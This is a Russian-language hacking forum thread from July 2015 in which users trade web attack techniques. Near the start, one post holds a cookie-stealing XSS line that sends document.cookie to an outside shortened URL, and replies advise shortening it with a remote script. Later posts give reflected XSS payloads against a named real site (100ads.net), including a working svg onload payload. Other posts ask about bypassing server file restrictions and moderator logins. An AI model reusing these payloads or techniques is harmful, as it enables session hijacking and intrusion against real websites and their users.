Войти или зарегистрироваться
Выберите удобный способ — аккаунт создастся автоматически.
Или войдите по логину и паролю
 |
|
12.07.2015, 01:23
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
С нами:
8417383
Репутация:
0
|
|
Сообщение от djon
↑
Можно ли скрипт img = new Image(); img.src = "
http://qoo.by/3aG?
"+document.cookie; укоротить до 45 символов ?
Подключите удаленный скрипт
|
|
|
12.07.2015, 02:41
|
|
Новичок
Регистрация: 12.05.2011
Сообщений: 11
С нами:
7896566
Репутация:
0
|
|
На сервере все папки и файлы созданы из под одного юзера/группы, но в одни папки есть возможность записи, в другие нет (права одинаковые). У тех куда нет доступа, права не меняются с помощью chmod. Но рядом есть точно такие же папки, с тем же пользователем/правами и туда отлично добавляются файлы, меняются права и т.д Как админ так хитро ограничил доступ?
|
|
|
|
12.07.2015, 02:54
|
|
Постоянный
Регистрация: 10.06.2011
Сообщений: 939
С нами:
7854806
Репутация:
173
|
|
Сообщение от Bragal
↑
На сервере все папки и файлы созданы из под одного юзера/группы, но в одни папки есть возможность записи, в другие нет (права одинаковые). У тех куда нет доступа, права не меняются с помощью chmod. Но рядом есть точно такие же папки, с тем же пользователем/правами и туда отлично добавляются файлы, меняются права и т.д
Как админ так хитро ограничил доступ?
Ничего хитрого, просто правильно расставлены ограничения.
|
|
|
|
12.07.2015, 03:09
|
|
Новичок
Регистрация: 12.05.2011
Сообщений: 11
С нами:
7896566
Репутация:
0
|
|
Сообщение от OxoTnik
↑
Ничего хитрого, просто правильно расставлены ограничения.
И каким же образом? Реально обойти без получения рута?
|
|
|
|
12.07.2015, 11:32
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
Сообщение от djon
↑
Можно ли скрипт img = new Image(); img.src = "
http://qoo.by/3aG?
"+document.cookie; укоротить до 45 символов ?
Сообщение от ocheretko
↑
Подключите удаленный скрипт
на всякий случай можно без кавычек и без http.
|
|
|
|
12.07.2015, 13:32
|
|
Новичок
Регистрация: 14.06.2010
Сообщений: 0
С нами:
8374164
Репутация:
0
|
|
Спасибо что ответил,но теперь вопрос другой,как обойти "это" . Ведь я не знаю логин и пароль модёра или админа . Что делать ? .
|
|
|
|
12.07.2015, 15:23
|
|
Познающий
Регистрация: 12.07.2015
Сообщений: 39
С нами:
5704886
Репутация:
0
|
|
Привет всем,можно ли создать скрипт самоудаляющейся чтобы и теги его тоже удалялись?
|
|
|
|
13.07.2015, 00:11
|
|
Познающий
Регистрация: 29.08.2009
Сообщений: 75
С нами:
8789993
Репутация:
5
|
|
Сообщение от nik1201
↑
Привет всем,можно ли создать скрипт
самоудаляющейся чтобы и теги его тоже удалялись?
можно
|
|
|
|
13.07.2015, 00:35
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
С нами:
8417383
Репутация:
0
|
|
Странная ситуация, вставляю xss, и она не выполняется. Вот вывод:
Код:
alert(/olololkin2/);
Открываю "Просмотр исходного кода страницы", копирую весь код себе в файл, открываю его со своего домена - там xss срабатывает. Все манипуляции в Firefox
Код:
(Request-Line) GET /registration/?a=0&refererNickname=%22%3E%3Cscript%20type=%22text/javascript%22%3Ealert(%2Folololkin2%2F)%3B%3C/script%3E%3Cinput%20type=%22text%22%20value=%221 HTTP/1.1
User-Agent Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Accept text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
В первый раз такое. Адрес:
Код:
http://100ads.net/registration/?a=0&refererNickname=%22%3E%3Cscript%20type=%22text/javascript%22%3Ealert%28%2Folololkin2%2F%29%3B%3C/script%3E%3Cinput%20type=%22text%22%20value=%221
|
|
|
|
13.07.2015, 00:53
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
Сообщение от ocheretko
↑
Странная ситуация, вставляю xss, и она не выполняется. Вот вывод:
Код:
alert(/olololkin2/);
Открываю "Просмотр исходного кода страницы", копирую весь код себе в файл, открываю его со своего домена - там xss срабатывает. Все манипуляции в Firefox
Код:
(Request-Line) GET /registration/?a=0&refererNickname=%22%3E%3Cscript%20type=%22text/javascript%22%3Ealert(%2Folololkin2%2F)%3B%3C/script%3E%3Cinput%20type=%22text%22%20value=%221 HTTP/1.1
User-Agent Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Accept text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
В первый раз такое. Адрес:
Код:
http://100ads.net/registration/?a=0&refererNickname=%22%3E%3Cscript%20type=%22text/javascript%22%3Ealert%28%2Folololkin2%2F%29%3B%3C/script%3E%3Cinput%20type=%22text%22%20value=%221
я пока сам не понял в чем дело, однако prompt() срабатывает:
Код:
http://100ads.net/registration/?a=0&refererNickname=%22%3E%3Csvg/onload=prompt%28/antichat/%29%3E
|
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
